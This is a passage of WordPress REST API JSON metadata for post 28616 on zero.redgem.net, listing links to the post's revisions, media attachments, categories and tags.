\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/28616\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=28616"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=28616"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=28616"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}